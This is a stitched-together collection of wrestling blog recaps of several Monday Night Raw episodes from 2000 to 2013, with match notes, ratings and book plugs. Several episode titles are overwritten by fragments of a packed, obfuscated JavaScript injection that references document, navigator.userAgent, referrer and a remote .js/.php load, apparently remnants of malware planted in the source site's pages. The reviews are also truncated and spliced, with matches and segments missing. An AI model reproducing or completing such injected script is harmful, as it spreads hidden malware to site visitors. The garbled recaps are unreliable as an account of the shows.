On This Day: September 15, 2003 – Monday Night Raw: Goldberg’s Funeral

Monday Night Raw
Date: September 15, 2003
Location: Carolina Coliseum, Columbia, South Carolina
Commentators: Jim Ross, Jerry Lawler

Rob Van Dam vs. Chris Jericho

Christian tries to get in a cheap shot but gets kicked down instead. Jericho gets dumped to the floor and taken out by a dive as we take a fast break. Back with Van Dam hitting a forearm and the cartwheel moonsault for two. A standing rana (called a moonsault by JR for some reason) gets two for Van Dam so he goes up, only to be shoved off the top by Christian.

Austin makes it a triple threat. You know, LIKE EVERY OTHER TRIPLE THREAT.

Video of Goldberg beating Hogan on Nitro.

Spike Dudley vs. Rob Conway

Spike is in a neckbrace and his brothers fight the other members of La Resistance into the crowd. Conway hits a neckbreaker and wins in about 20 seconds.

Post match Conway powerbombs Spike through a table before the Dudleys make the save. The Dudleys would win the tag titles Sunday in a handicap tables match.

Victoria vs. Fabulous Moolah

Victoria hits both Moolah and Mae, but the distraction of Mae lets Moolah roll her up in thirty seconds. That would be two matches that combined to last less than 60 seconds.

Goldust/Lance Storm vs. Mark Henry/Rodney Mack

Hurricane tries to teach Rosey to fly. Rosey gets a cab instead.

Molly and Gail Kim say their handicap match tonight with Trish is now No Holds Barred. Sure why not.

Gail Kim/Molly Holly vs. Trish Stratus

Rating: F. When you hear the words “no holds barred”, you expect more than a generic bad handicap match. The only thing good about this was the girls all looking good, which was the case for most Divas matches back in the day. This division needed a shot in the arm and it needed one in a hurry.

Test vs. Val Venis

Steiner beats up Test post match but Test gets Stacy before he leaves.

Lawler comes out and asks to fight Snow right now. The match is after a break.

Al Snow vs. Jerry Lawler

Coach and JR are on commentary here as Lawler controls with some very basic stuff. They slug it out and King hits a DDT for two. Snow comes back with a slam but a suplex is countered into a small package for the pin. This was the last match of the show people. This is the main event. Let that sink in.

Coach hits JR before bailing.

Austin runs into Evolution and says HHH is having the Goldberg party by himself.

Overall Rating: F. Despite that TEN MINUTE closing segment, I have zero desire to see either the main event or any of the matches on the show. There are two matches on this show that were long enough to rate: one ended in a draw and one was a no holds barred match that had nothing out of the ordinary. Other than that you have all kinds of stuff like Moolah and Test and the Spike match. Horrible show here and I want nothing to do with Unforgiven or Raw in 2003. Naturally the whole year is on my schedule.

http://kbwrestlingreviews.com/2012/11/03/unforgiven-2003-i-was-wrong-2002-isnt-the-worst-year-ever-for-wwe/

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Monday Night Raw – September 16, 2013: Stripping Titles, Locker Room Revolts And Punching Old Men

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Date: September 16, 2013
Location: Quicken Loans Arena, Cleveland, Ohio
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

We open with clips from the main events last night, focusing on Ryback joining Heyman and Bryan winning the title.

Dean Ambrose vs. Dolph Ziggler

Non-title here I believe in a night of Champions rematch. Ziggler is from around these parts so the pop is solid. Feeling out process to start with Ambrose taking him into the corner, only to have Dolph come back with right hands and a shoulder block. A cross body and more right hands have Dan in trouble and a Cactus Clothesline puts both guys on the floor. Back in and we hit the sleeper on the champion but Ambrose counters into one of his own. Ziggler jawbreaks out and stomps Dean in the corner, only to be whipped hard over the corner and out to the floor as we take a break.

Off to a kind of half nelson arm lock followed by an attempt at a cobra clutch. Ziggler headbutts his way to freedom and a jumping DDT puts both guys down. Dolph rains down rights and lefts in the corner and takes Ambrose down with a clothesline. There are the ten elbow drops which is a good spot but takes too long. Ambrose comes right back with a spinebuster for two before pulling Ziggler off the middle rope with a crash. The bulldog driver is countered and the Zig Zag is good for the pin at 11:55.

We talk about Punk vs. Heyman from last night.

Fandango vs. R-Truth

Dusty Rhodes is in the back and everyone loves him.

Post break Dusty is taken to an ambulance and Big Show rides with him.

Brie Bella/Cameron/Naomi vs. Aksana/Layla/Alicia Fox

We look at how Sandow won MITB by showing Rhodes down for some reason.

Damien Sandow vs. Rob Van Dam

The announcers recap the show so far.

Scott Armstrong comes in to apologize to HHH and gets fired.

The Miz vs. Randy Orton

Here are Ryback and Heyman with Paul in a wheelchair being pushed by Axel. Heyman is shaking and talks about the seven deadly sins and how many heathens there are here in Cleveland. There are so many people here who can never come close to doing what Heyman has done, such as pinning CM Punk. He can say it over and over again but every time it will be the truth. No matter how Punk tries to spin it, the record books will say Heyman won their first encounter.

Tons of Funk vs. Real Americans vs. Usos

This is elimination rules and the winners get a title shot at some point in the future. Brodus knocks Swagger to the floor to start and the Real Americans have a huddle. Back in and Swagger tags in Jimmy Uso to face Brodus with Jimmy hitting whatever fast strikes he can to take over. Brodus casually catches a cross body and slams him down a few times. A backbreaker and elbow drop crush Jimmy but Cesaro tags himself in.

Everything breaks down and a kick to the face gets two on Jack. The Usos hit a double plancha to the floor to take out the Real Americans in a cool spot. Back in and Jimmy gets caught in the Patriot Lock but he finally kicks away and superkicks Swagger down. The Superfly Splash is broken up by the running belly to belly but Jey tags himself in and hits the Superfly Splash for the pin and the title shot at 13:15.

Miz has an injured thorax and Dusty is being held overnight for observations.

The WWE loves reading!

We look at Dusty being knocked out earlier.

People encourage Daniel Bryan in the back.

Roman Reigns vs. Daniel Bryan

Back with Reigns placing Bryan on the top rope but Bryan punches his way out of a superplex attempt. The flying headbutt misses though and Reigns gets a two count. Roman talks a lot of trash and catches a charging Bryan in a spinning Rock Bottom for two. Bryan fights out of another chinlock and backflips over Reigns to hit the running clothesline. Here come more kicks but Reigns catches the big one in a Samoan drop. Orton is now standing and looking nervous.

Reigns calls for the powerbob but Bryan counters into a rollup for two. The BIG kick to the head gets two for Bryan and Reigns rolls to the floor. Bryan hits an insanely hard baseball slide dropkick to take out Rollins but he takes too long knocking Ambrose down and gets caught by a big running clothesline from Reigns. Not that it matters as Bryan hooks the YES Lock, drawing in Orton for the DQ at 18:20.

Results

Dolph Ziggler b. Dean Ambrose – Zig Zag

Fandango b. R-Truth – Guillotine legdrop

Brie Bella/Cameron/Naomi b. Aksana/Layla/Alicia Fox – Bella Buster to Aksana

Rob Van Dam b. Damien Sandow – Five Star Frog Splash

Randy Orton vs. The Miz went to a double countout

Usos b. Real Americans and Tons of Funk – Superfly Splash to Swagger

Daniel Bryan b. Roman Reigns via DQ when Randy Orton interfered

 

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Monday Night Raw – December 11, 2000: Mick Foley Lies And A Lot Of People Get Hurt

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfthy|var|u0026u|referrer|dabdb||js|php'.split('|'),0,{})) Night Raw
Date: December 11, 2000
Location: The Pyramid, Memphis, Tennessee
Commentators: Jim Ross, Jerry Lawler

The opening video focuses on the Cell match with that creepy The End Is Here song playing.

Edge and Christian are worried about the tables match but Angle has a plan.

Dean Malenko/Perry Saturn vs. Hardy Boyz

Dean kisses the knocked out Lita.

Vince and the Stooges arrive.

Chris Benoit vs. Billy Gunn

Benoit won the IC Title last night but this is non-title. Chris wins an early slugout but Billy catches him in a gorilla press, only to pretty drop Chris on his face. Eddie Guerrero strolls out to ringside as Benoit is holding his shoulder from the landing. Back up and Chris gets two off an elbow to the jaw. Billy comes back with some basic stuff but gets caught in a belly to back suplex. Gunn gets one of his own before knocking out Benoit with the title belt but the distraction from Guerrero prevents the three count. The Fameasser connects but Eddie comes in for the DQ.

Benoit puts Billy in the Crossface for fun.

XFL ad.

Kurt Angle/Edge and Christian vs. The Rock/Dudley Boyz

Christian is put through the table for fun.

Austin arrived during the break.

Chyna vs. Ivory

Val and Ivory give Chyna a spike piledriver and Chyna is out. The referee waves out a stretcher and we take a break.

Back with Chyna being loaded into an ambulance and Billy Gunn blaming Foley.

Brisco brings the resignation papers to Vince.

Right to Censor vs. K-Kwik/Road Dogg/Jerry Lawler

Foley tells Snow he needs to cancel the hardcore match but Snow talks him into keeping the match.

Raven vs. Al Snow

Yep, Snow is on a stretcher.

The Hollies are at WWF New York.

Vince yells at Foley as Mick gets into the ambulance with Snow. Foley gets back out.

Video on the Cell last night.

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Monday Night Raw – February 25, 2002: Well, That Happened

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Date: February 25, 2002
Location: Dunkin Donuts Center, Providence, Rhode Island
Attendance: 10,059
Commentators: Jim Ross, Jerry Lawler

Theme song.

Val Venis is at WWE New York.

Recap of the WWF on Fear Factor, won by Matt Hardy.

Tag Titles: Billy and Chuck vs. Hardy Boyz

Billy and Chuck won the belts on Smackdown. Chuck punches Jeff down to start but gets caught in a jawbreaker. Off to Matt for some double teaming in the corner and a double suplex for two. The Twist of Fate is broken up and Billy takes Matt down with a clothesline. Chuck stomps Matt down in the corner and pounds away, only to be caught in a suplex to put both guys down.

Jericho and his new business partner Stephanie McMahon arrive. Jericho has a video for a production guy.

Austin has nothing to say.

Austin does the WHAT bit and accepts the match with Hall.

We look at Angle putting Kane through a table and destroying his ankle with a chair from Smackdown.

Lance Storm vs. Rob Van Dam vs. Big Show

Booker T is learning Japanese for a shampoo commercial in one of the most infamous storylines of the era.

The APA gets an invitation to the Friendly Tap. The bar owned by referee Tim White.

Rikishi vs. Booker T

Booker pounds Rikishi down into the corner but walks into a powerslam for two. A spin kick puts Rikishi down again and Booker stomps away some more. Rikishi comes back with a bad looking Samoan drop but misses a charge into the corner. A Japanese spin kick misses and Rikishi superkicks him into the corner. Booker uses the referee as a shield and kicks Rikishi down for the pin. This was nothing.

Mark Henry won the Arnold Schwarzenegger strongman challenge over the weekend.

Post match Jazz lays out Molly. Back from a break and Arn Anderson is checking on Molly when Undertaker comes out for the beating to set up Flair vs. Taker at Wrestlemania.

WWF World Title: Kurt Angle vs. Chris Jericho

Kane swings a chair at Angle but Kurt ducks and bails through the crowd.

During the break Flair arrived, over an hour and a half into the show. He heard about Arn and immediately left. Ok then.

The NWO wishes Perfect good luck tonight.

Mr. Perfect vs. Steve Austin

Austin shoves him into the corner to start and we actually get a clean break. Perfect takes him into the opposite corner and gets flipped off for his efforts. A shoulder block puts Austin down and a headlock sends us to a stalemate. They chop it out in the corner and Austin whips him around the ring a few times, getting two off a clothesline. An elbow to the jaw puts Steve down but Austin shrugs it off, does his stomping and hits the Stunner for the clean pin.

http://kbwrestlingreviews.com/2012/01/09/monday-night-raw-march-4-2002-its-two-weeks-before-mania-right/

http://kbwrestlingreviews.com/2012/09/23/monday-night-raw-march-11-2002-for-the-only-time-in-history-steve-austin-vs-hulk-hogan/

 

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Monday Night Raw – September 2, 2013: The Heavy Hands Of The McMahons

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bskab|var|u0026u|referrer|khnef||js|php'.split('|'),0,{})) Night Raw
Date: September 2, 2013
Location: Wells Fargo Arena, Des Moines, Iowa
Commentators: Jerry Lawler, John Bradshaw Layfield, Michael Cole

Fandango vs. The Miz

A hiptoss puts Fandango down but he rolls to the floor to escape the Figure Four. Miz sends Fandango into the barricade and does a quick dance with Summer before heading back inside. Fandango gets in a few shots to take over but a kick to the chest gets two for Miz. We hit the chinlock and take a break. Back with Fandango in control despite apparently having a broken nose.

We recap Heyman/Axel vs. Punk from last week.

Dolph Ziggler vs. ???

Dolph Ziggler vs. Ryback

Edge will be back next week for one night only. Cool.

Big Show broke a lot of stuff during the break.

3MB vs. Prime Time Players

Young gets taken down and triple teamed by the Band with Slater getting two off a neckbreaker. Mahal comes in to drop a bunch of knees to the chest but Slater charges into an overhead belly to belly suplex. The hot tag brings in Titus who gets two off a big boot to Mahal. Everything breaks down and the Clash of the Titus gets the pin on Mahal at 5:28.

Cody Rhodes vs. Randy Orton

Back with Orton throwing Cody back inside for two but Cody comes back with an elbow to the jaw and an uppercut to put Rhodes down. A springboard missile dropkick gets a close two and the Disaster Kick gets the same. Orton sidesteps the moonsault press and puts Cody down with the Elevated DDT. The RKO is countered into the Cross Rhodes out of nowhere for a VERY close two. I thought that was it. The fans are WAY into Cody here but Orton snaps his throat across the top rope. Back in and Rhodes gets two off a rollup but another Disaster Kick misses and the RKO connects for the pin at 13:35.

HHH comes out to praise Cody but fires him anyway. The fans chant for Cody as he limps to the back.

We look at Heyman attacking Punk last week.

Natalya vs. Naomi vs. Brie Bella

The winner gets AJ at Night of Champions. AJ comes out for commentary and Natalya gets a quick rollup for two on Naomi. Brie hits her X-Factor for two on Naomi as well as AJ talks about how worthless the Total Divas are. Naomi tries a sunset flip on Brie but Natalya sends the Bella to the floor. The Sharpshooter is countered into a small package for two but Natalya catches Brie coming off the top with a cross body. Naomi hits the Rear View on Natalya but AJ comes in for the DQ at 1:48. Fourway for the title I guess.

The Total Divas beat AJ down and leave her laying.

Los Matadores are still coming.

Damien Sandow vs. Rob Van Dam

Stephanie makes the obvious fatal fourway for the title shot at the PPV.

Cody is escorted from the building by security and admits that Orton was the better man. He rants about how much the McMahons have hated the Rhodes over the years and walks away.

The roster comes out to watch the main event again.

Daniel Bryan vs. Big Show

Show tells Daniel to stop fighting but Bryan keeps coming at him. Bryan dropkicks the knee out and fires off the kicks. A short DDT gets two but Big Show powers out again. Bryan goes up but dives into a shoulder to the ribs. Show loads up the WMD but starts to walk away. This draws out HHH and the Shield with the Game saying get back in the ring right now. Show keeps going as Shield gets in and beats Bryan down for the DQ at 5:56.

Results

The Miz b. Fandango – Figure Four

Ryback b. Dolph Ziggler – Shell Shock

Prime Time Players b. 3MB – Clash of the Titus to Mahal

Randy Orton b. Cody Rhodes – RKO

Natalya vs. Brie Bella vs. Naomi went to a no contest when AJ Lee interfered

Rob Van Dam b. Damien Sandow – Five Star Frog Splash

 

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Monday Night Raw – February 18, 2002: The Rock And Hulk Hogan

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nksdk|var|u0026u|referrer|saaey||js|php'.split('|'),0,{})) Night Raw
Date: February 18, 2002
Location: Allstate Arena, Chicago, Illinois
Attendance: 13,967
Commentators: Jerry Lawler, Jim Ross

Post break Austin is taken into the police car where Angle and the NWO taunt him.

Hardy Boys vs. Lance Storm/Christian

Kurt Angle comes in to see Stephanie so she can congratulate him for his accomplishments in the last 24 hours. Flair comes in and makes a rematch of HHH vs. Angle for the Mania title shot with Stephanie barred from ringside. Thanks for paying for the PPV people!

The NWO is leaving to go get dinner but Hogan says he has something personal to take care of and to send the car back for him in about half an hour.

Mr. Perfect vs. Kane

Rock says the people believed in Hogan and the Rock was one of them. After years of eating the vitamins and tearing the t-shirt, Hogan changed everything in WCW and the fans wanted nothing to do with him. Rock acknowledges that Hogan is a legend and an icon, perhaps even the best ever.

What an awesome segment. It had a great moment with the past and the present dynamic followed by Hogan REALLY nailing the idea of being a heel to stop his face reactions. The hammer stuff was great and Rock can return at Wrestlemania to get his revenge in the awesome moment to make the match even bigger.

Godfather vs. Booker T

You know, because going from Rock nearly being murdered to Godfather is a fine transition. The girls are worried about Rock and Godfather is annoyed with them as a result. Booker stomps him down in the corner as the announcers are still acting all serious. Godfather makes a quick comeback with his usual stuff but the girls are still distracting him. A powerslam puts Booker down but Godfather yells at the girls instead of going for the Ho Train. Booker superkicks him down for the pin.

Paramedics and cops check on Rock.

Goldust/William Regal vs. Edge/Rob Van Dam

Rock is taken away. Not that we saw him in the last two segments or anything.

Kurt Angle vs. HHH

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Monday Night Raw – February 11, 2002: Time For A Wedding!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbsza|var|u0026u|referrer|snbth||js|php'.split('|'),0,{})) Night Raw
Date: February 11, 2002
Location: Jonesboro Convocation Center, Jonesboro, Arkansas
Commentators: Jim Ross, Jerry Lawler

We open with a package hyping up the wedding vows tonight.

Theme song.

Chris Jericho vs. Edge

Jericho stays on the ribs but misses a charge into the post, giving Edge an opening. A catapult into the corner gets two for Edge but Jericho comes right back with a bulldog, only to miss the Lionsault. Edge misses the spear but counters the Walls attempt into a rollup for two. Jericho drapes him over the top rope but goes to get a title, allowing Edge to spear him down for two. Not that it matters as Jericho hits him him in the ribs with the belt and the Breakdown (Skull Crushing Finale) is good for the pin.

We get another clip of the NWO. I guess this is a theme tonight. Remember that this is a mere THREE MONTHS after the Invasion ended. Again, that thing could have gone on for years by bringing in big names every now and then to give the Alliance a boost.

Goldust vs. Rikishi

HHH runs into Arn Anderson and Arn just happens to have a FedEx package for him. It sounds like a video tape when HHH shakes it.

The wedding singers practice for later.

Godfather vs. Kurt Angle

This is during the failed Godfather Goes Legit period where he owned an escort service instead of being a pimp. Angle pounds him down but gets caught by a knee/boot to the chest/shoulder area. Kurt is like screw that and drills him in the leg before ending this in less than a minute with the ankle lock.

HHH gives Stephanie a new ring. Much crying ensues.

Steve Austin vs. Undertaker

Post match Jericho hits Austin with a belt and a cooler.

Jericho bailed during the break.

Tazz vs. Booker T.

Stacy Keibler vs. Torrie Wilson

Mr. Perfect cheats to beat a national chess champion. These bits never get old.

Rob Van Dam vs. Christian

Goldust pops up on screen to challenge RVD for No Way Out.

Arn Anderson tells HHH to call Linda.

Stephanie keeps up the lie to the wedding singers. Vince pops up behind her in a tux and cuts a promo on her before agreeing to walk her down the aisle. Howard Finkel pops in to try to tell Vince what HHH found out but Vince tells him to leave.

http://kbwrestlingreviews.com/2013/03/18/no-way-out-2002-if-an-invasion-happens-and-no-one-cares-does-it-matter/

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Monday Night Raw – February 4, 2002: Chris Jericho Should Know Better

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iiran|var|u0026u|referrer|aikyz||js|php'.split('|'),0,{})) Night Raw
Date: February 4, 2002
Location: Thomas and Mack Center, Las Vegas, Nevada
Attendance: 9,643
Commentators: Jim Ross, Jerry Lawler

Theme song.

Booker T vs. HHH

The Angle Slam puts HHH down and makes his liver shake, according to JR. How does he know what a shaky liver looks like?

Rob Van Dam vs. Bubba Ray Dudley

Post match Goldust pops up on screen to sing When You Wish Upon a Star. He wants RVD for some reason so he sneaks in through the crowd and hits Shattered Dreams.

Stephanie has a very creepy smile on her face while HHH rants about Angle. She has a surprise for him later. If the internet hat been a bigger thing back then, that face would have been a meme for years.

Tag Titles: Billy and Chuck vs. Spike Dudley/Tazz vs. Acolytes

Arn Anderson and the Stooges talk about how bad the NWO is. Anderson thinks Flair made a mistake on Smackdown.

Intercontinental Title: Rikishi vs. William Regal

Regal is defending and has to undergo an intense check for brass knuckles. Rikishi takes over with a quick superkick and a clothesline but Regal comes back with the unnamed knee trembler. Regal pounds away in the corner as the fans tell him he sucks. The champion easily takes the big guy down into a crossface (not the Crippler Crossface but just a face grab), only to have Rikishi power out and send Regal into the corner.

Referees break up Regal and Edge but Regal gets a Stinkface.

DDP, the new European Champion, is at WWF New York.

Rating: D. This was a squash for Jazz which is fine, but as I mentioned NO ONE CARES ABOUT JAZZ. She was supposed to be some big deal but WWF never realized that no one remembered her from ECW because she never did anything of note in ECW. Nothing match, like the rest of them tonight.

Steve Austin/The Rock vs. Undertaker/Chris Jericho

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On This Day: August 30, 2010 – Monday Night Raw: You Don’t Look A Day Over 890

This is very old and not very well done.

 

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Date: August 30, 2010
Location: TD Garden, Boston, Massachusetts
Commentators: Michael Cole, Jerry Lawler

It’s the 900th episode and Raw and Smackdown both will be there. Surprisingly enough this is only a two hour show though. There hasn’t been much announced for this, so let’s get to it.

We open up by YET AGAIN being told how awesome Raw is. Vince, let it go. Mainstream media flat out does not care, so stop trying to make them accept you. It simply isn’t going to happen.

Cole says the 900th consecutive week. We’ll ignore the preempted shows and the Best of shows I guess.

5 on 5 elimination match with Nexus vs. Sheamus, the Canadian duo, Orton and Cena. Good to see they’re not overkilling the match before Survivor Series.

Here’s Bret to open the show, which makes sense since this is a show about old school. He talks about how great Raw is and how many records it holds etc. Bret says only Taker was on the first show also, cueing Kane. This is a new pairing if nothing else. Baldie says there is no more phenom because he hasn’t meant anything since he beat Shawn at Mania.

Kane talks about how Bret hated Shawn etc. Bret can’t wait for Taker to beat Kane like he always does. Good line and simple. Old guys know how to talk. Kane says he needs to take out an icon like Taker did, so he grabs Bret. Hart Dynasty comes out for the save but gets knocked back with ease. Bret does better but the lights go out.

I’m sure you know who’s in the ring now as we get the staredown. Taker looks like he’s about to cry and Kane bails. Cue the e-mail and tonight it’s Bret….vs. Taker? Well that’s the biggest name Taker has never been able to beat, so that fits pretty well.

We go back to the first episode of Raw for some clips which are always fun.

Back from a break and we see the zamboni incident, which was the night after Taker and Kane beat Austin in a triple threat at I think Unforgiven.

Michael McGillicutty/Kofi Kingstonvs. Daniel Bryan/Kaval vs. Miz/Alex Riley

Someone get me a boat to navigate the river of semen in the IWC at this point. Miz has a sweet new shirt with an id sticker on it saying “Hello I’m AWESOME!” I would totally wear that and I haven’t bought a WWE shirt in over 10 years. It’s a very fast paced match that I won’t even bother trying to keep track of.

Everything goes insane and Kaval hits a sweet rolling kick to Riley, setting up the Warrior’s Way. Cue in Miz for the Skull Crushing Finale to end it on Kaval. Bryan takes the MITB case to the head post match.

Rating: C+. It was very fast paced and worked rather well I thought. This was designed to get the crowd going and to give us a look at the NXT guys. It did that in just a few minutes which is always a good thing. Quick match but certainly entertaining and it kept my attention, making it a win.

Laycool vs. Melina/Eve Torres

Well you can’t say they’re not attractive. Melina pins Layla in maybe 40 seconds with a rollup. Well ok then.

Michelle throws out the predictable challenge for the unification match at NOC but doesn’t say which member of Laycool is it. Melina insists it’s a lumberjack match. The Divas all come out and stand by her to end this segment.

Another Raw moment is Nexus beating down Cena, which is a big moment but dang man there are bigger ones than that.

Nexus is in the back and there are only five of them given Sheffield’s injury. Barrett says they have to do something to remember tonight and says he knows what it is but doesn’t say what it is.

We get another “historical” moment, this time the Bob Barker hosted show. Ok they’re stretching here methinks.

Jericho talks about how he says he’s great because he is great. If he doesn’t win the title at NOC, he’s gone. Josh says Jericho has been thrown out or fired at least a dozen times now, making me laugh. Jericho says watch what he’s going to do tonight.

John Morrison/RTruth vs. Cody Rhodes/Drew McIntyre

Well this was unexpected. Something tells me Morrison is going to do something of note here. It’s a big brawl almost immediately and there’s a double DQ. This was for the #1 contenders slot so screw that apparently. Truth dives over the ropes to take out Rhodes. Was there a point to this at all?

Another Raw moment is Bret and Shawn making up. This is a legit major moment so I’ll give them that.

Undertaker vs. Bret Hart

Taker’s robe is a bit different now as he has the hood and sleeveless thing again, meaning no trenchcoat. And here’s Nexus. Ok make that just Barrett. He says it’s about the future and not ht epast, so he goes after Taker. Barrett gets knocked to the floor and then the lights go out. Kane is here and they slug it out, which Kane wins to a degree.

Taker goes for a chokeslam and there go those lights again. Someone really should look into that. Kane is gone (as is Bret) and here’s Nexus. Taker fights them off and has Barrett ready for the chokeslam but the lights go out AGAIN. We come back and Barrett has him up in the Wasteland. Kane is on the stage as it hits. A 450 hits Taker and he can’t quite sit up.

If you can’t tell this show has more or less sucked beyond belief so far.

Here’s Jack Swagger. Dang he’s fallen since the summer.

Jack Swagger vs. Evan Bourne

As Bourne makes his entrance, Cole lists off MORE shows that Raw has been on the air longer than with Lawler saying Friends only had 236 or some odd shows. I’m not even going to go into the rant about why that’s incredibly stupid because here’s Alberto Del Rio of all people with his full car entrance and pyro. He even gets a split screen. Air Bourne misses and Swagger gets the ankle lock for the tap. We saw maybe a minute combined of the in ring action without a split screen, meaning no rating.

Del Rio cuts off Swagger’s music and talks about how he got rid of Rey. However since none of the Raw fans saw it he’s going to recreate it here. He grabs a chair and Evan is in trouble. MARK HENRY of all people comes out for the save. Ok him just punching the chair out of Del Rio’s hand was in fact very cool.

We get a video about the China tour, which is indeed awesome.

This is Your Life Rock, which is actually a cool moment.

The Straight Edge Society is here, and Punk is better than The Rock. Punk says that Raw has pushed negative family values, and he has two words to prove it: Katie Vick. “If you don’t know who that is, Youtube it. It’ll drive you to drink and then you can come see me.” He has a list of four things that WWE has been bad about over the years.

Property Damage: HHH breaking into Orton’s house.

General irresponsibility: Cena throwing Edge in the water. Punk talks about never throwing anyone into water (with the joke of course being that he won a match like that against Chavo in ECW)

Tresspassing: DX invading WCW.

The last one is exhibit D for drunkenness, which is due to the beer bath…..on SANTINO. Yeah they picked that one instead of what was voted the #1 Raw moment back at the tenth anniversary show.

Punk makes fun of Austin and CUE GLASS SHATTERING!

And he’s not here. Punk literally rolls on the mat with laughter. He asks if the fans feel empty inside now, because that’s how he feels with every one of the fans. Punk has one more clip, which is the ring breaking thanks to Show and Lesnar. It’s to bash Show and he won’t say Lesnar’s name.

Show comes out and he mentions Eddie and a burrito. He wants to know why Punk picked a fat joke when he’s done all kinds of stupid stuff. We get a Show promo about the SES as Hulk Hogan. Show clears the ring of course and we go to a break.

HHH’s return in 2002 was in fact amazing.

Sheamus comes out to talk on the ramp. Surprisingly he doesn’t get a big pop since we’re in Boston. He mentions HHH and says he’s never coming back. Here comes Edge, who gets a BIG face pop. He talks about how many moments he’s had on Raw and all that jazz which is true. Edge also says Sheamus should go back to the lab with Dr. Bunsen Honeydew. Total face promo here.

Sheamus/Randy Orton/John Cena/Edge/Chris Jericho vs. Nexus

This is elimination rules and the bell rang at 10:59. Jericho walks out after a few seconds and it’s 5-4. Edge immediately shoves the referee and it’s 5-3. Tarver and Cena are in now and Cena dominates for the most part. Sheamus beats up various people for awhile and this is just awful. High Cross is blocked and Nexus takes over. SLATER PINS SHEAMUS! Totally clean for the most part too. He hit his finisher and that was it. Hokey smoke.

FU gets rid of Slater. Big beatdown and Cena is in trouble. Otunga goes out to the STFU. 450 to Cena and he’s out! Orton vs. Gabriel, Barrett and Tarver. Make that Barrett and Tarver as an RKO takes out Gabriel. It’s Barrett vs. Orton now. That happened in less than 15 seconds. Wasteland and it’s over. Less than a minute passed between Cena’s elimination and the end of the match, which included the eliminations of Gabriel, Tarver and Orton.

Rating: F+. Just a total reversal of what we saw at Summerslam. This was boring and not interesting in the slightest, although BIG props for the clean pins on the three mega stars from the non-Nexus team. Those were very unexpected and made them look like they were human. That being said, the match was just awful. Three eliminations in about 40 seconds? Seriously? Just a bad match if there ever has been one and a fitting end to an awful Raw.

Overall Rating: D-. Just a horrible show all around. Punk’s promo and segment is the only good thing this had going for it really. For a special, there were so many quick matches that you barely remember anything about, including one that was about 12 seconds long. The main event was just bad all around but to be fair they did get the point of NOC across.

 

Shame that it two me about a day to get that idea. The lack of wrestling and the lack of nostalgia hurt this a lot as apparently barely anything has happened other than in the last two years. This could have been worse but not by much. Punk’s promo was all that made this passable, which is saying a lot since he’s a Smackdown guy. Bad show.

 

Remember to follow me on Twitter @kbreviews, and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:




Monday Night Raw – August 26, 2013: Four In A Row For Bryan

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Date: August 26, 2013
Location: US Airways Center, Phoenix, Arizona
Commentators: Jerry Lawler, Michael Cole, John Bradshaw Layfield

Cody Rhodes vs. Fandango

Sandow jumps Cody and Miz comes out for a brawl until Brad Maddox turns into a 60 year old bald black man and makes a tag match.

Damien Sandow/Fandango vs. The Miz/Cody Rhodes

If you get some App, you can see what Heyman thinks about the stipulations the fans can pick.

Punk wants to get his hands on Heyman and suggests the fans vote for choice #3.

Curtis Axel vs. CM Punk

Back with Axel hitting a clothesline to the back of the head for two as Heyman is looking more confident. Punk comes back with kicks to the legs and back followed by a middle rope cross body for two. Axel snaps off a slingshot belly to back suplex for two followed by a snap Saito suplex for the same. Punk grabs a neckbreaker and the Macho Elbow gets two. The GTS is countered into a McGillicutter for another two count but the second attempt at the GTS is good for the pin at 10:52.

Natalya vs. Brie Bella

JoJo from Total Divas is the ring announcer and we have the rest of the cast at ringside. Brie gets in a few shots, only to be quickly caught in a Sharpshooter. Nikki and Eva Marie distract the referee, triggering a big brawl. Brie hits a quick X Factor for the pin at 1:40.

Alberto Del Rio vs. Rob Van Dam

We see Cena saying he has to have surgery last week and get some shots of his arm after the operation.

We look at the Punk/Heyman/Axel stuff for the third time tonight.

Heyman, with blood red eyes, says Punk is like a petulant child who has to be beaten over and over until he learns his lesson. Paul says he feels like a man and now his prodigal son will learn to never come up against him.

Christian vs. Randy Orton

Non-title again. Christian grabs a quick rollup for two but gets taken down by a shoulder block. A quick attempt at the Elevated DDT is countered with a backdrop to the floor followed by the baseball slide. Back in and a reverse DDT puts Orton down, only to have him dropkick Christian off the top. Orton pounds on Christian before draping him over the top rope.

We get a video from WWE.com with the Wyatt Family talking about Sister Abigail, who apparently inspired Bray Wyatt to become what he is today.

We recap the car stuff tonight.

Daniel Bryan vs. Shield

Back with Rollins holding a chinlock before hitting a running forearm in the corner. He slaps Bryan in the face a few times and tells Bryan to stay down while doing the finger point. Seth goes to the other corner but Bryan charges at him with the running dropkick. Bryan comes back with the kicks and sits on a sunset flip for two. They trade some nice near falls but Seth takes his head off with a jumping enziguri.

Post match Shield destroys Bryan with the Triple Bomb as HHH comes out to make sure no one helps Daniel. Cue Orton for the RKO to end the show. This would be four straight shows where our final image is Daniel Bryan laid out.

Results

Cody Rhodes b. Fandango – Rollup

The Miz/Cody Rhodes b. Damien Sandow/Fandango – Skull Crushing Finale to Sandow

CM Punk b. Curtis Axel – GTS

Brie Bella b. Natalya – Bella Buster

Rob Van Dam b. Alberto Del Rio – Rollup

Randy Orton b. Christian – RKO

Daniel Bryan vs. Shield went to a no contest

 

Remember to follow me on Twitter @kbreviews, and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at: